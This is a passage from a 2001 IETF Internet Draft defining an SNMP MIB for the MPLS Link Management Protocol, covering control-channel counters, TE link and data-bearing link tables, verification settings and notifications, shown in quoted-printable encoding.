   ::=3D { lmpControlChannelPerfEntry 7 }=0A=
=0A=
lmpCcHCHelloSent OBJECT-TYPE=0A=
   SYNTAX        Counter64=0A=
   MAX-ACCESS    read-only=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "This object counts the number of Hello messages that have=0A=
        been sent on this interface."=0A=
   ::=3D { lmpControlChannelPerfEntry 8 }=0A=
=0A=
lmpCcConfigReceived OBJECT-TYPE=0A=
   SYNTAX        Counter32=0A=
   MAX-ACCESS    read-only=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "This object counts the number of Config messages that have=0A=
        been received on this interface."=0A=
   ::=3D { lmpControlChannelPerfEntry 9 }=0A=
=0A=
lmpCcConfigSent OBJECT-TYPE=0A=
   SYNTAX        Counter32=0A=
   MAX-ACCESS    read-only=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "This object counts the number of Config messages that have=0A=
        been sent on this interface."=0A=
   ::=3D { lmpControlChannelPerfEntry 10 }=0A=
=0A=
lmpCcConfigRetransmit OBJECT-TYPE=0A=
   SYNTAX        Counter32=0A=
   MAX-ACCESS    read-only=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "This object counts the number of Config messages that=0A=
        have been retransmitted over this interface."=0A=
   ::=3D { lmpControlChannelPerfEntry 11 }=0A=
=0A=
=0A=
=0A=
=0A=
Dubuc et al.             Expires November 2001                 [Page =
23]=0A=
=0C=0A=
Internet Draft                MPLS LMP MIB                  May 22, =
2001=0A=
=0A=
=0A=
lmpCcLinkSummaryReceived OBJECT-TYPE=0A=
   SYNTAX        Counter32=0A=
   MAX-ACCESS    read-only=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "This object counts the number of LinkSummary messages that =
have=0A=
        been received on this interface."=0A=
   ::=3D { lmpControlChannelPerfEntry 12 }=0A=
=0A=
lmpCcLinkSummarySent OBJECT-TYPE=0A=
   SYNTAX        Counter32=0A=
   MAX-ACCESS    read-only=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "This object counts the number of LinkSummary messages that =
have=0A=
        been sent on this interface."=0A=
   ::=3D { lmpControlChannelPerfEntry 13 }=0A=
=0A=
lmpCcLinkSummaryRetransmit OBJECT-TYPE=0A=
   SYNTAX        Counter32=0A=
   MAX-ACCESS    read-only=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "This object counts the number of LinkSummary messages that=0A=
        have been retransmitted over this interface."=0A=
   ::=3D { lmpControlChannelPerfEntry 14 }=0A=
=0A=
lmpCcChannelFailReceived OBJECT-TYPE=0A=
   SYNTAX        Counter32=0A=
   MAX-ACCESS    read-only=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "This object counts the number of ChannelFail messages that =
have=0A=
        been received on this interface."=0A=
   ::=3D { lmpControlChannelPerfEntry 15 }=0A=
=0A=
lmpCcChannelFailSent OBJECT-TYPE=0A=
   SYNTAX        Counter32=0A=
   MAX-ACCESS    read-only=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "This object counts the number of ChannelFail messages that =
have=0A=
        been sent on this interface."=0A=
   ::=3D { lmpControlChannelPerfEntry 16 }=0A=
=0A=
lmpCcChannelActiveReceived OBJECT-TYPE=0A=
   SYNTAX        Counter32=0A=
   MAX-ACCESS    read-only=0A=
=0A=
=0A=
=0A=
Dubuc et al.             Expires November 2001                 [Page =
24]=0A=
=0C=0A=
Internet Draft                MPLS LMP MIB                  May 22, =
2001=0A=
=0A=
=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "This object counts the number of ChannelActive messages that =
have=0A=
        been received on this interface."=0A=
   ::=3D { lmpControlChannelPerfEntry 17 }=0A=
=0A=
lmpCcChannelActiveSent OBJECT-TYPE=0A=
   SYNTAX        Counter32=0A=
   MAX-ACCESS    read-only=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "This object counts the number of ChannelActive messages that =
have=0A=
        been sent on this interface."=0A=
   ::=3D { lmpControlChannelPerfEntry 18 }=0A=
=0A=
-- End of lmpControlChannelPerfTable=0A=
=0A=
=0A=
-- LMP TE Link Table=0A=
=0A=
lmpTeLinkTable OBJECT-TYPE=0A=
   SYNTAX        SEQUENCE OF LmpTeLinkEntry=0A=
   MAX-ACCESS    not-accessible=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "This table contains a collection of TE link."=0A=
   ::=3D { lmpObjects 11 }=0A=
=0A=
lmpTeLinkEntry OBJECT-TYPE=0A=
   SYNTAX        LmpTeLinkEntry=0A=
   MAX-ACCESS    not-accessible=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "An entry in this table exists for each ifEntry with an=0A=
        ifType of teLink(TBD), i.e. for every TE link. An ifEntry=0A=
        with an ifIndex must exist before the corresponding=0A=
        teLinkEntry is created. If a TE link entry in the ifTable is=0A=
        destroyed, then so is the corresponding entry in the=0A=
        teLinkTable. The administrative status value is controlled=0A=
        from the ifEntry. Setting the administrative status to=0A=
        testing prompts LMP to start link verification on the TE =
link.=0A=
        Information about the TE link that is not LMP specific is =
also=0A=
        contained in teLinkTable [BUNDLE-MIB]."=0A=
   INDEX         { ifIndex }=0A=
   ::=3D { lmpTeLinkTable 1 }=0A=
=0A=
LmpTeLinkEntry ::=3D SEQUENCE {=0A=
  lmpTeLinkNbrNodeId      NodeID,=0A=
=0A=
=0A=
=0A=
Dubuc et al.             Expires November 2001                 [Page =
25]=0A=
=0C=0A=
Internet Draft                MPLS LMP MIB                  May 22, =
2001=0A=
=0A=
=0A=
  lmpRemoteTeLinkId       InterfaceIndexOrZero,=0A=
  lmpRemoteTeLinkType     Unsigned32,=0A=
  lmpTeLinkVerification   TruthValue,=0A=
  lmpTeLinkFaultIsolation TruthValue,=0A=
  lmpTeLinkDwdm           TruthValue,=0A=
  lmpTeLinkEncodingType   Unsigned32,=0A=
  lmpTeLinkBitRate        Unsigned32,=0A=
  lmpTeLinkWavelength     Unsigned32,=0A=
  lmpTeLinkOperStatus     Unsigned32,=0A=
  lmpTeLinkRowStatus      RowStatus,=0A=
  lmpTeLinkStorageType    StorageType=0A=
}=0A=
=0A=
lmpTeLinkNbrNodeId OBJECT-TYPE=0A=
   SYNTAX        NodeID=0A=
   MAX-ACCESS    read-write=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "This is the Node ID of the TE link remote node."=0A=
   ::=3D { lmpTeLinkEntry 1 }=0A=
=0A=
lmpRemoteTeLinkId OBJECT-TYPE=0A=
   SYNTAX        InterfaceIndexOrZero=0A=
   MAX-ACCESS    read-create=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "This identifies the TE link identifier on the remote side=0A=
        of the TE link. This is either configured manually or is=0A=
        communicated by the remote node during the link verification=0A=
        procedure. It is expected that for unnumbered TE links, this=0A=
        value will be set to 0."=0A=
   ::=3D { lmpTeLinkEntry 2 }=0A=
=0A=
lmpRemoteTeLinkType OBJECT-TYPE=0A=
   SYNTAX        INTEGER {=0A=
                     numbered(0),=0A=
                     unnumbered(1)=0A=
                 }=0A=
   MAX-ACCESS    read-create=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "The remote TE link type (numbered or unnumbered)."=0A=
   ::=3D { lmpTeLinkEntry 3 }=0A=
=0A=
lmpTeLinkVerification OBJECT-TYPE=0A=
   SYNTAX        TruthValue=0A=
   MAX-ACCESS    read-create=0A=
   STATUS        current=0A=
=0A=
=0A=
=0A=
Dubuc et al.             Expires November 2001                 [Page =
26]=0A=
=0C=0A=
Internet Draft                MPLS LMP MIB                  May 22, =
2001=0A=
=0A=
=0A=
   DESCRIPTION=0A=
       "This object indicates if the extended LMP link verification=0A=
        procedure is enabled for this TE link."=0A=
   REFERENCE=0A=
       "draft-ietf-mpls-lmp-02.txt - Link Management Protocol (LMP),=0A=
        J. Lang, K. Mitra, J. Drake, K. Kompella, Y. Rekhter,=0A=
        L. Berger, D. Saha, D. Basak, H. Sandick, A. Zinin,=0A=
        B. Rajagopalan, March 2001."=0A=
   ::=3D { lmpTeLinkEntry 4 }=0A=
=0A=
lmpTeLinkFaultIsolation OBJECT-TYPE=0A=
   SYNTAX        TruthValue=0A=
   MAX-ACCESS    read-create=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "This object indicates if the extended LMP fault isolation=0A=
        procedure is enabled on this TE link."=0A=
   REFERENCE=0A=
       "draft-ietf-mpls-lmp-02.txt - Link Management Protocol (LMP),=0A=
        J. Lang, K. Mitra, J. Drake, K. Kompella, Y. Rekhter,=0A=
        L. Berger, D. Saha, D. Basak, H. Sandick, A. Zinin,=0A=
        B. Rajagopalan, March 2001."=0A=
   ::=3D { lmpTeLinkEntry 5 }=0A=
=0A=
lmpTeLinkDwdm OBJECT-TYPE=0A=
   SYNTAX        TruthValue=0A=
   MAX-ACCESS    read-create=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "This object indicates if the extended LMP DWDM procedure=0A=
        is enabled on this TE link."=0A=
   REFERENCE=0A=
       "draft-ietf-mpls-lmp-02.txt - Link Management Protocol (LMP),=0A=
        J. Lang, K. Mitra, J. Drake, K. Kompella, Y. Rekhter,=0A=
        L. Berger, D. Saha, D. Basak, H. Sandick, A. Zinin,=0A=
        B. Rajagopalan, March 2001."=0A=
   ::=3D { lmpTeLinkEntry 6 }=0A=
=0A=
lmpTeLinkEncodingType OBJECT-TYPE=0A=
   SYNTAX        INTEGER {=0A=
                     packet(1),=0A=
                     ethernet(2),=0A=
                     ansiPdh(3),=0A=
                     etsiPdh(4),=0A=
                     sdh(5),=0A=
                     sonet(6),=0A=
                     digitalWrapper(7),=0A=
                     lambda(8),=0A=
=0A=
=0A=
=0A=
Dubuc et al.             Expires November 2001                 [Page =
27]=0A=
=0C=0A=
Internet Draft                MPLS LMP MIB                  May 22, =
2001=0A=
=0A=
=0A=
                     fiber(9)=0A=
                 }=0A=
   MAX-ACCESS    read-create=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "The encoding type of the data-bearing links contained in the=0A=
        TE link."=0A=
   REFERENCE=0A=
       "draft-ietf-mpls-generalized-signaling-00.txt - Generalized=0A=
        MPLS Signaling Functional Description, P. Ashwood-Smith,=0A=
        A. Banarjee, L. Berger, G. Bernstein, J. Drake, Y. Fan,=0A=
        E. Mannie, J. Lang, B. Rajagopalan, Y. Rekhter, D. Saha,=0A=
        V. Sharma, G. Swallow, Z. Tang, October 2000."=0A=
   ::=3D { lmpTeLinkEntry 7 }=0A=
=0A=
lmpTeLinkBitRate OBJECT-TYPE=0A=
   SYNTAX        Unsigned32=0A=
   MAX-ACCESS    read-create=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "This is the bit rate at which the Test messages will be=0A=
        transmitted and is expressed in bytes per second."=0A=
   REFERENCE=0A=
       "draft-ietf-mpls-lmp-02.txt - Link Management Protocol (LMP),=0A=
        J. Lang, K. Mitra, J. Drake, K. Kompella, Y. Rekhter,=0A=
        L. Berger, D. Saha, D. Basak, H. Sandick, A. Zinin,=0A=
        B. Rajagopalan, March 2001."=0A=
   ::=3D { lmpTeLinkEntry 8 }=0A=
=0A=
lmpTeLinkWavelength OBJECT-TYPE=0A=
   SYNTAX        Unsigned32=0A=
   MAX-ACCESS    read-create=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "This value corresponds to the wavelength at=0A=
        which the Test messages will be transmitted over and is=0A=
        measured in nanometers (nm). If each data-bearing link=0A=
        corresponds to a separate wavelength, than this value should =
be=0A=
        set to 0."=0A=
   REFERENCE=0A=
       "draft-ietf-mpls-lmp-02.txt - Link Management Protocol (LMP),=0A=
        J. Lang, K. Mitra, J. Drake, K. Kompella, Y. Rekhter,=0A=
        L. Berger, D. Saha, D. Basak, H. Sandick, A. Zinin,=0A=
        B. Rajagopalan, March 2001."=0A=
   ::=3D { lmpTeLinkEntry 9 }=0A=
=0A=
lmpTeLinkOperStatus OBJECT-TYPE=0A=
   SYNTAX        INTEGER { up(1), down(2), testing(3), degraded(4) }=0A=
=0A=
=0A=
=0A=
Dubuc et al.             Expires November 2001                 [Page =
28]=0A=
=0C=0A=
Internet Draft                MPLS LMP MIB                  May 22, =
2001=0A=
=0A=
=0A=
   MAX-ACCESS    read-only=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "The actual operational status of this TE link. The status=0A=
        is set to testing when the TE link is performing link=0A=
        verification. A degraded status indicates that the TE link=0A=
        cannot provide the provisioned protection level, but yet,=0A=
        there is no disruption of service. For instance, if the=0A=
        protection type is 1+1 and one link is down, the TE link=0A=
        still carries the requested amount of data traffic, but=0A=
        this traffic is not protected anymore."=0A=
   ::=3D { lmpTeLinkEntry 10 }=0A=
=0A=
lmpTeLinkRowStatus OBJECT-TYPE=0A=
   SYNTAX        RowStatus=0A=
   MAX-ACCESS    read-create=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "This variable is used to create, modify, and/or=0A=
        delete a row in this table."=0A=
   ::=3D { lmpTeLinkEntry 11 }=0A=
=0A=
lmpTeLinkStorageType OBJECT-TYPE=0A=
   SYNTAX        StorageType=0A=
   MAX-ACCESS    read-create=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "This variable indicates the storage type for this=0A=
        object."=0A=
   ::=3D { lmpTeLinkEntry 12 }=0A=
=0A=
-- End of lmpTeLinkTable=0A=
=0A=
=0A=
lmpLinkVerificationInterval OBJECT-TYPE=0A=
   SYNTAX        Unsigned32=0A=
   MAX-ACCESS    read-write=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "This object indicates how often the link verification =
procedure=0A=
        is executed. The interval is in milliseconds."=0A=
   ::=3D { lmpObjects 12 }=0A=
=0A=
=0A=
-- LMP Link Verification Table=0A=
=0A=
lmpLinkVerificationTable OBJECT-TYPE=0A=
   SYNTAX        SEQUENCE OF LmpLinkVerificationEntry=0A=
=0A=
=0A=
=0A=
Dubuc et al.             Expires November 2001                 [Page =
29]=0A=
=0C=0A=
Internet Draft                MPLS LMP MIB                  May 22, =
2001=0A=
=0A=
=0A=
   MAX-ACCESS    not-accessible=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "This table specifies TE link information=0A=
        associated with the LMP verification procedure."=0A=
   ::=3D { lmpObjects 13 }=0A=
=0A=
lmpLinkVerificationEntry OBJECT-TYPE=0A=
   SYNTAX        LmpLinkVerificationEntry=0A=
   MAX-ACCESS    not-accessible=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "An entry in this table is created by a LMP-enabled device =
for=0A=
        every TE link that supports the LMP verification=0A=
        procedure."=0A=
   AUGMENTS      { lmpTeLinkEntry }=0A=
   ::=3D { lmpLinkVerificationTable 1 }=0A=
=0A=
LmpLinkVerificationEntry ::=3D SEQUENCE {=0A=
  lmpVerifyInterval           LmpInterval,=0A=
  lmpVerifyDeadInterval       LmpInterval,=0A=
  lmpVerifyTransportMechanism BITS,=0A=
  lmpVerifyAllLinks           Unsigned32=0A=
}=0A=
=0A=
lmpVerifyInterval OBJECT-TYPE=0A=
   SYNTAX        LmpInterval=0A=
   MAX-ACCESS    read-create=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "This object specifies the VerifyInterval parameter used=0A=
        in the LMP link verification process. It indicates the =
interval=0A=
        at which the Test messages are sent."=0A=
   REFERENCE=0A=
       "draft-ietf-mpls-lmp-02.txt - Link Management Protocol (LMP),=0A=
        J. Lang, K. Mitra, J. Drake, K. Kompella, Y. Rekhter,=0A=
        L. Berger, D. Saha, D. Basak, H. Sandick, A. Zinin,=0A=
        B. Rajagopalan, March 2001."=0A=
   ::=3D { lmpLinkVerificationEntry 1 }=0A=
=0A=
lmpVerifyDeadInterval OBJECT-TYPE=0A=
   SYNTAX        LmpInterval=0A=
   MAX-ACCESS    read-create=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "This object specifies the VerifyDeadInterval parameter used=0A=
        in the verification of the physical connectivity of =
data-bearing=0A=
        links. It specifies the observation period used to detect a =
Test=0A=
=0A=
=0A=
=0A=
Dubuc et al.             Expires November 2001                 [Page =
30]=0A=
=0C=0A=
Internet Draft                MPLS LMP MIB                  May 22, =
2001=0A=
=0A=
=0A=
        message at the remote node."=0A=
   REFERENCE=0A=
       "draft-ietf-mpls-lmp-02.txt - Link Management Protocol (LMP),=0A=
        J. Lang, K. Mitra, J. Drake, K. Kompella, Y. Rekhter,=0A=
        L. Berger, D. Saha, D. Basak, H. Sandick, A. Zinin,=0A=
        B. Rajagopalan, March 2001."=0A=
   ::=3D { lmpLinkVerificationEntry 2 }=0A=
=0A=
lmpVerifyTransportMechanism OBJECT-TYPE=0A=
   SYNTAX        BITS {=0A=
                     -- SONET/SDH encoding type:=0A=
                     j0OverheadBytes(0),=0A=
                     dccSectionOverheadBytes(1),=0A=
                     dccLineOverheadBytes(2),=0A=
                     pos(3)=0A=
                     -- GigE encoding type: TBD=0A=
                     -- 10GigE encoding type: TBD=0A=
                 }=0A=
   MAX-ACCESS    read-create=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "This defines the transport mechanism for the Test messages. =
The=0A=
        scope of this bit mask is restricted to each link encoding=0A=
        type. The local node will set the bits corresponding to the=0A=
        various mechanisms it can support for transmitting LMP Test=0A=
        messages. The receiver chooses the appropriate mechanism in =
the=0A=
        BeginVerifyAck message."=0A=
   REFERENCE=0A=
       "draft-ietf-mpls-lmp-02.txt - Link Management Protocol (LMP),=0A=
        J. Lang, K. Mitra, J. Drake, K. Kompella, Y. Rekhter,=0A=
        L. Berger, D. Saha, D. Basak, H. Sandick, A. Zinin,=0A=
        B. Rajagopalan, March 2001."=0A=
   ::=3D { lmpLinkVerificationEntry 3 }=0A=
=0A=
lmpVerifyAllLinks OBJECT-TYPE=0A=
   SYNTAX        INTEGER { verifyAllLinks(1), verifyNewLinks(2) }=0A=
   MAX-ACCESS    read-create=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "This object indicates whether the verification process =
checks=0A=
        all entities or only the new entities that have been added =
to=0A=
        this TE link."=0A=
   ::=3D { lmpLinkVerificationEntry 4 }=0A=
=0A=
-- End of lmpLinkVerificationTable=0A=
=0A=
=0A=
-- LMP Data Bearing Link Table=0A=
=0A=
=0A=
=0A=
Dubuc et al.             Expires November 2001                 [Page =
31]=0A=
=0C=0A=
Internet Draft                MPLS LMP MIB                  May 22, =
2001=0A=
=0A=
=0A=
lmpDataBearingLinkTable OBJECT-TYPE=0A=
   SYNTAX        SEQUENCE OF LmpDataBearingLinkEntry=0A=
   MAX-ACCESS    not-accessible=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "This table specifies the data-bearing links managed by the=0A=
        LMP."=0A=
   ::=3D { lmpObjects 14 }=0A=
=0A=
lmpDataBearingLinkEntry OBJECT-TYPE=0A=
   SYNTAX        LmpDataBearingLinkEntry=0A=
   MAX-ACCESS    not-accessible=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "An entry in this table exists for each ifEntry that =
represents=0A=
        a data-bearing link. An ifEntry with an ifIndex must exist=0A=
        before the corresponding lmpDataBearingLinkEntry is created.=0A=
        If an entry representing the data-bearing link is destroyed =
in=0A=
        the ifTable, then so is the corresponding entry in the=0A=
        lmpDataBearingLinkTable. The administrative status value is=0A=
        controlled from the ifEntry. The index to this table also=0A=
        used to get information in the dataBearingChannelTable=0A=
        [BUNDLE-MIB]."=0A=
   INDEX         { ifIndex }=0A=
   ::=3D { lmpDataBearingLinkTable 1 }=0A=
=0A=
LmpDataBearingLinkEntry ::=3D SEQUENCE {=0A=
  lmpDataBearingLinkType             Unsigned32,=0A=
  lmpDataBearingLinkRemoteIfId       InterfaceIndexOrZero,=0A=
  lmpDataBearingLinkOperStatus       Unsigned32,=0A=
  lmpDataBearingLinkRowStatus        RowStatus,=0A=
  lmpDataBearingLinkStorageType      StorageType=0A=
}=0A=
=0A=
lmpDataBearingLinkType OBJECT-TYPE=0A=
   SYNTAX        INTEGER {=0A=
                     port(1),=0A=
                     componentLink(2)=0A=
                 }=0A=
   MAX-ACCESS    read-only=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "This attribute specifies whether this data-bearing link is=0A=
        a port or a component link. Component link are multiplex=0A=
        capable whereas, ports are not multiplex capable."=0A=
   REFERENCE=0A=
       "draft-ietf-mpls-lmp-02.txt - Link Management Protocol (LMP),=0A=
        J. Lang, K. Mitra, J. Drake, K. Kompella, Y. Rekhter,=0A=
=0A=
=0A=
=0A=
Dubuc et al.             Expires November 2001                 [Page =
32]=0A=
=0C=0A=
Internet Draft                MPLS LMP MIB                  May 22, =
2001=0A=
=0A=
=0A=
        L. Berger, D. Saha, D. Basak, H. Sandick, A. Zinin,=0A=
        B. Rajagopalan, March 2001."=0A=
   ::=3D { lmpDataBearingLinkEntry 1 }=0A=
=0A=
lmpDataBearingLinkRemoteIfId OBJECT-TYPE=0A=
   SYNTAX        InterfaceIndexOrZero=0A=
   MAX-ACCESS    read-write=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "Interface identifier of the remote end point. This=0A=
        information is either configured manually or is=0A=
        communicated by the remote node during the link verification=0A=
        procedure."=0A=
   ::=3D { lmpDataBearingLinkEntry 2 }=0A=
=0A=
lmpDataBearingLinkOperStatus OBJECT-TYPE=0A=
   SYNTAX        INTEGER {=0A=
                     upAlloc(1),=0A=
                     upFree(2),=0A=
                     down(3),=0A=
                     testing(4),=0A=
                     ccBoot(5),=0A=
                     beginVerify(6),=0A=
                     psvTst(7),=0A=
                     degraded(8) }=0A=
   MAX-ACCESS    read-only=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "The actual operational status of this data-bearing link.=0A=
        A data-bearing link is in the degraded state if the=0A=
        control channel and associated backup control channel(s) are=0A=
        down but the data-bearing link is still operational."=0A=
   REFERENCE=0A=
       "draft-ietf-mpls-lmp-02.txt - Link Management Protocol (LMP),=0A=
        J. Lang, K. Mitra, J. Drake, K. Kompella, Y. Rekhter,=0A=
        L. Berger, D. Saha, D. Basak, H. Sandick, A. Zinin,=0A=
        B. Rajagopalan, March 2001."=0A=
   ::=3D { lmpDataBearingLinkEntry 3 }=0A=
=0A=
lmpDataBearingLinkRowStatus OBJECT-TYPE=0A=
   SYNTAX        RowStatus=0A=
   MAX-ACCESS    read-create=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "This variable is used to create, modify, and/or=0A=
        delete a row in this table."=0A=
   ::=3D { lmpDataBearingLinkEntry 4 }=0A=
=0A=
=0A=
=0A=
=0A=
Dubuc et al.             Expires November 2001                 [Page =
33]=0A=
=0C=0A=
Internet Draft                MPLS LMP MIB                  May 22, =
2001=0A=
=0A=
=0A=
lmpDataBearingLinkStorageType OBJECT-TYPE=0A=
   SYNTAX        StorageType=0A=
   MAX-ACCESS    read-create=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "This variable indicates the storage type for this=0A=
        object."=0A=
   ::=3D { lmpDataBearingLinkEntry 5 }=0A=
=0A=
-- End of lmpDataBearingLinkTable=0A=
=0A=
=0A=
-- LMP Data Bearing Link Performance Table=0A=
=0A=
lmpDataBearingLinkPerfTable OBJECT-TYPE=0A=
   SYNTAX        SEQUENCE OF LmpDataBearingLinkPerfEntry=0A=
   MAX-ACCESS    not-accessible=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "This table specifies the data-bearing links LMP performance=0A=
        counters."=0A=
   ::=3D { lmpObjects 15 }=0A=
=0A=
lmpDataBearingLinkPerfEntry OBJECT-TYPE=0A=
   SYNTAX        LmpDataBearingLinkPerfEntry=0A=
   MAX-ACCESS    not-accessible=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "An entry in this table contains information about=0A=
        the LMP performance counters for the data-bearing links."=0A=
   AUGMENTS      { lmpDataBearingLinkEntry }=0A=
   ::=3D { lmpDataBearingLinkPerfTable 1 }=0A=
=0A=
LmpDataBearingLinkPerfEntry ::=3D SEQUENCE {=0A=
  lmpDataBearingLinkTestReceived Counter32,=0A=
  lmpDataBearingLinkTestSent     Counter32=0A=
}=0A=
=0A=
lmpDataBearingLinkTestReceived OBJECT-TYPE=0A=
   SYNTAX        Counter32=0A=
   MAX-ACCESS    read-only=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "This object counts the number of Test messages that have=0A=
        been received on this interface."=0A=
   ::=3D { lmpDataBearingLinkPerfEntry 1 }=0A=
=0A=
lmpDataBearingLinkTestSent OBJECT-TYPE=0A=
=0A=
=0A=
=0A=
Dubuc et al.             Expires November 2001                 [Page =
34]=0A=
=0C=0A=
Internet Draft                MPLS LMP MIB                  May 22, =
2001=0A=
=0A=
=0A=
   SYNTAX        Counter32=0A=
   MAX-ACCESS    read-only=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "This object counts the number of Test messages that have=0A=
        been sent on this interface."=0A=
   ::=3D { lmpDataBearingLinkPerfEntry 2 }=0A=
=0A=
-- End of lmpDataBearingLinkTable=0A=
=0A=
=0A=
-- Notification Configuration=0A=
=0A=
lmpLinkPropertyMismatchTrapEnable OBJECT-TYPE=0A=
   SYNTAX        TruthValue=0A=
   MAX-ACCESS    read-write=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "If this object is true, then it enables the=0A=
        generation of lmpTeLinkPropertyMismatch=0A=
        and lmpDataBearingLinkPropertyMismatch traps,=0A=
        otherwise these traps are not emitted."=0A=
   DEFVAL        { false }=0A=
   ::=3D { lmpObjects 16 }=0A=
=0A=
lmpUnprotectedTrapEnable OBJECT-TYPE=0A=
   SYNTAX        TruthValue=0A=
   MAX-ACCESS    read-write=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "If this object is true, then it enables the=0A=
        generation of lmpUnprotected trap,=0A=
        otherwise these traps are not emitted."=0A=
   DEFVAL        { false }=0A=
   ::=3D { lmpObjects 17 }=0A=
=0A=
lmpCcUpDownTrapEnable OBJECT-TYPE=0A=
   SYNTAX        TruthValue=0A=
   MAX-ACCESS    read-write=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "If this object is true, then it enables the generation of=0A=
        lmpControlChannelUp and lmpControlChannelDown traps,=0A=
        otherwise these traps are not emitted."=0A=
   DEFVAL        { false }=0A=
   ::=3D { lmpObjects 18 }=0A=
=0A=
lmpTeLinkTrapEnable OBJECT-TYPE=0A=
=0A=
=0A=
=0A=
Dubuc et al.             Expires November 2001                 [Page =
35]=0A=
=0C=0A=
Internet Draft                MPLS LMP MIB                  May 22, =
2001=0A=
=0A=
=0A=
   SYNTAX        TruthValue=0A=
   MAX-ACCESS    read-write=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "If this object is true, then it enables the=0A=
        generation of lmpTeLinkDegraded trap,=0A=
        otherwise these traps are not emitted."=0A=
   DEFVAL        { false }=0A=
   ::=3D { lmpObjects 19 }=0A=
=0A=
=0A=
-- Notifications=0A=
=0A=
-- Link Property Mismatch Traps=0A=
=0A=
lmpTeLinkPropertyMismatch NOTIFICATION-TYPE=0A=
   OBJECTS       { ifIndex,=0A=
                   lmpRemoteTeLinkId }=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "This notification is generated when a TE link property=0A=
        mismatch is detected on the node. ifIndex is the interface=0A=
        index of the misconfigured TE link. The remote TE link id=0A=
        is the remote TE link id received in the LinkSummary =
message."=0A=
   ::=3D { lmpNotifications 1 }=0A=
=0A=
lmpDataBearingLinkPropertyMismatch NOTIFICATION-TYPE=0A=
   OBJECTS       { ifIndex,=0A=
                   ifIndex,=0A=
                   lmpDataBearingLinkRemoteIfId }=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "This notification is generated when a data-bearing link=0A=
        property mismatch is detected on the node. The first ifIndex=0A=
        is the interface index of the TE link. The second ifIndex is=0A=
        the interface index of the data-bearing link. The remote =
entify=0A=
        interface id is the remote entity interface id received in =
the=0A=
        LinkSummary message."=0A=
   ::=3D { lmpNotifications 2 }=0A=
=0A=
-- Neighbor Trap=0A=
=0A=
lmpUnprotected NOTIFICATION-TYPE=0A=
   OBJECTS       { lmpCcNbrNodeId }=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "This notification is generated when all but one control =
channel=0A=
        is operational. If the only operational control channel =
fails,=0A=
=0A=
=0A=
=0A=
Dubuc et al.             Expires November 2001                 [Page =
36]=0A=
=0C=0A=
Internet Draft                MPLS LMP MIB                  May 22, =
2001=0A=
=0A=
=0A=
        then there will be no more control channels between the pair =
of=0A=
        nodes and all the data-bearing links between the pair of =
nodes=0A=
        will go to degraded state."=0A=
   ::=3D { lmpNotifications 3 }=0A=
=0A=
-- Control Channel Trap=0A=
=0A=
lmpControlChannelUp NOTIFICATION-TYPE=0A=
   OBJECTS       { ifIndex }=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "This notification is generated when a control=0A=
        channel transitions to the up operational state."=0A=
   ::=3D { lmpNotifications 4 }=0A=
=0A=
lmpControlChannelDown NOTIFICATION-TYPE=0A=
   OBJECTS       { ifIndex }=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "This notification is generated when a control=0A=
        channel transitions to the down operational state."=0A=
   ::=3D { lmpNotifications 5 }=0A=
=0A=
-- TE Link Trap=0A=
=0A=
lmpTeLinkDegraded NOTIFICATION-TYPE=0A=
   OBJECTS       { ifIndex }=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "This notification is generated when a lmpTeLinkOperStatus=0A=
        object for a TE link enters the degraded state."=0A=
   ::=3D { lmpNotifications 6 }=0A=
=0A=
-- End of notifications=0A=
=0A=
=0A=
-- Module compliance=0A=
=0A=
lmpGroups=0A=
   OBJECT IDENTIFIER ::=3D { lmpConformance 1 }=0A=
=0A=
lmpCompliances=0A=
   OBJECT IDENTIFIER ::=3D { lmpConformance 2 }=0A=
